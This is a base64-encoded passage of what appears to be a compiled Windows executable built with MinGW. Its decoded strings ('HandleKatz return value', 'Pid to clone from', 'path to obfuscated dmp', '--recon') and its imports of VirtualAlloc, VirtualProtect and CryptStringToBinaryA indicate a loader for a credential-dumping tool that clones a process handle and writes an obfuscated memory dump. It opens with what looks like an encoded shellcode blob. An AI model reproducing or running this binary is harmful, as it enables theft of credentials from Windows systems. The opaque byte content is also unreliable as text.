BRDRRRkFRQUFTSU83bUFBQUFBQVBoUGNBQUFCSWc3dWdBQUFBQUErRTZRQUFBRWlEdTZnQUFBQUFENFRiQUFBQVNJTzdzQUFBQUFBUGhNMEFBQUJJZzd1NEFBQUFBQStFdndBQUFFaUR1OEFBQUFBQUQ0U3hBQUFBU0lPN3lBQUFBQUFQaEtNQUFBQklnN3ZRQUFBQUFBK0VsUUFBQUVpRHU5Z0FBQUFBRDRTSEFBQUFTSU83NEFBQUFBQjBmVWlEdStnQUFBQUFkSE5JZzd2d0FBQUFBSFJwU0lPNytBQUFBQUIwWDBpRHV3QUJBQUFBZEZWSWc3c0lBUUFBQUhSTFNJTzdFQUVBQUFCMFFVaUR1eGdCQUFBQWREZElnN3NnQVFBQUFIUXRTSU43UUFCMEpraUR1eWdCQUFBQWRCeElnN3N3QVFBQUFIUVNNY0JJZ3pzQUQ1WEE2d2tQSDRBQUFBQUFNY0JJZzhRZ1c4TzYxdHljNUxtSUp2Z0E2Q0h4Ly85SWc3c1lBUUFBQUVpSmd4QUJBQUFQaGRuOS8vOFBIMEFBdXJWRTliZTVpQ2I0QU9qNThQLy9TSU83SUFFQUFBQklpWU1ZQVFBQUQ0Vy8vZi8vRHg5QUFMcmFuTTI3dVlnbStBRG8wZkQvLzBpRGUyQUFTSW1ESUFFQUFBK0ZwZjMvL3c4ZmdBQUFBQUM2RGdva3BibUlKdmdBNktudy8vOUlnM3RvQUVpSlEyQVBoWXY5Ly85bUxnOGZoQUFBQUFBQXVpM0hFVis1aUNiNEFPaUI4UC8vU0lPN0NBRUFBQUJJaVVOb0Q0VnUvZi8vRHgrQUFBQUFBTG9rQ2lTbHVZZ20rQURvV2ZELy8waUpnd2dCQUFEcFRQMy8vNUNRa0pDUWtKQ1FrSkNRa0pCQlZMb29BQUFBUlRIa1ZsTklpY3RJeDhILy8vLy9TSVBzY0VqSFJDUTRBQUFBQUV5TlJDUTRTTWRFSkVBQUFBQUFTTWRFSkVnQUFBQUE2RW5MLy8rRndIVldNY25IUkNSQUFRQUFBRWk2Y21sMmFXeGxaMlZJdUZObFJHVmlkV2RRU0lsVUpGaElqWFFrUUVpTlZDUlF4MFFrVEFJQUFBQk1qVVFrUkVpSlJDUlF4a1FrWUFEL2t6QUJBQUNGd0hVWFNJdE1KRGovVXloSWc4UndSSW5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AAAAAAAAAAACwPf//sD3//7A9//+wPf//sD3//xg9//+wPf//4D3//xg9//9DPf//AAAAAAAAAAAobnVsbCkATmFOAEluZgAAKABuAHUAbABsACkAAAAAALJo//+4Yv//uGL//8xo//+4Yv//1Gf//7hi///rZ///uGL//7hi//9gaP//nGj//7hi//9nZv//gGb//7hi//+cZv//uGL//7hi//+4Yv//uGL//7hi//+4Yv//uGL//7hi//+4Yv//uGL//7hi//+4Yv//uGL//7hi//+4Yv//uGL//7xm//+4Yv//9Gb//7hi//8sZ///ZGf//5xn//+4Yv//ImX//7hi//+4Yv//UGb//7hi//+4Yv//uGL//7hi//+4Yv//uGL//+lo//+4Yv//uGL//7hi//+4Yv//MGP//7hi//+4Yv//uGL//7hi//+4Yv//uGL//7hi//+4Yv//qmT//7hi//8nZP//oGP//0pl///gZf//GGb//4Jl//+gY///iGP//7hi//+iZf//wmX//2xk//8wY///4mT//7hi//+4Yv//+2P//4hj//8wY///uGL//7hi//8wY///uGL//4hj//8AAAAASW5maW5pdHkATmFOADAAAAAAAAAAAPg/YUNvY6eH0j+zyGCLKIrGP/t5n1ATRNM/BPp9nRYtlDwyWkdVE0TTPwAAAAAAAPA/AAAAAAAAJEAAAAAAAAAIQAAAAAAAABxAAAAAAAAAFEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAADgPwAAAAAAAAAABQAAABkAAAB9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwPwAAAAAAACRAAAAAAAAAWUAAAAAAAECPQAAAAAAAiMNAAAAAAABq+EAAAAAAgIQuQQAAAADQEmNBAAAAAITXl0EAAAAAZc3NQQAAACBfoAJCAAAA6HZIN0IAAACilBptQgAAQOWcMKJCAACQHsS81kIAADQm9WsMQwCA4Dd5w0FDAKDYhVc0dkMAyE5nbcGrQwA9kWDkWOFDQIy1eB2vFURQ7+LW5BpLRJLVTQbP8IBEAAAAAAAAAAC8idiXstKcPDOnqNUj9kk5Paf0RP0PpTKdl4zPCLpbJUNvrGQoBsgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIDgN3nDQUMXbgW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A5CYBAAAAAADwJgEAAAAAAPomAQAAAAAABCcBAAAAAAAOJwEAAAAAABonAQAAAAAAAAAAAAAAAADkAENyeXB0U3RyaW5nVG9CaW5hcnlBAAAbAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgA/AUVudGVyQ3JpdGljYWxTZWN0aW9uAAB2AkdldExhc3RFcnJvcgAA5wJHZXRTdGFydHVwSW5mb0EAfANJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAJcDSXNEQkNTTGVhZEJ5dGVFeAAA2ANMZWF2ZUNyaXRpY2FsU2VjdGlvbgAADARNdWx0aUJ5dGVUb1dpZGVDaGFyAHIFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAIIFU2xlZXAApQVUbHNHZXRWYWx1ZQDOBVZpcnR1YWxBbGxvYwAA1AVWaXJ0dWFsUHJvdGVjdAAA1gVWaXJ0dWFsUXVlcnkAAAsGV2lkZUNoYXJUb011bHRpQnl0ZQBLBmxzdHJsZW5BAAA4AF9fQ19zcGVjaWZpY19oYW5kbGVyAABAAF9fX2xjX2NvZGVwYWdlX2Z1bmMAQwBfX19tYl9jdXJfbWF4X2Z1bmMAAFIAX19nZXRtYWluYXJncwBTAF9faW5pdGVudgBUAF9faW9iX2Z1bmMAAFsAX19sY29udl9pbml0AABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAAB0BX2luaXR0ZXJtAIMBX2xvY2sAKQJfb25leGl0AMoCX3VubG9jawCKA2Fib3J0AJcDYXRvaQAAmwNjYWxsb2MAAKgDZXhpdAAAvANmcHJpbnRmAL4DZnB1dGMAwwNmcmVlAADQA2Z3cml0ZQAA+QNsb2NhbGVjb252AAD/A21hbGxvYwAABwRtZW1jcHkAAAkEbWVtc2V0AAAnBHNpZ25hbAAANgRzdHJjaHIAADwEc3RyZXJyb3IAAD4Ec3RybGVuAABBBHN0cm5jbXAARwRzdHJzdHIAAGMEdmZwcmludGYAAH0Ed2NzbGVuAAAAIAEAQ1JZUFQzMi5kbGwAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABAEtFUk5FTDMyLmRsbAAAAAAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEARQAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQQAAAAAAAkBlAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4BlAAAAAAACwGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA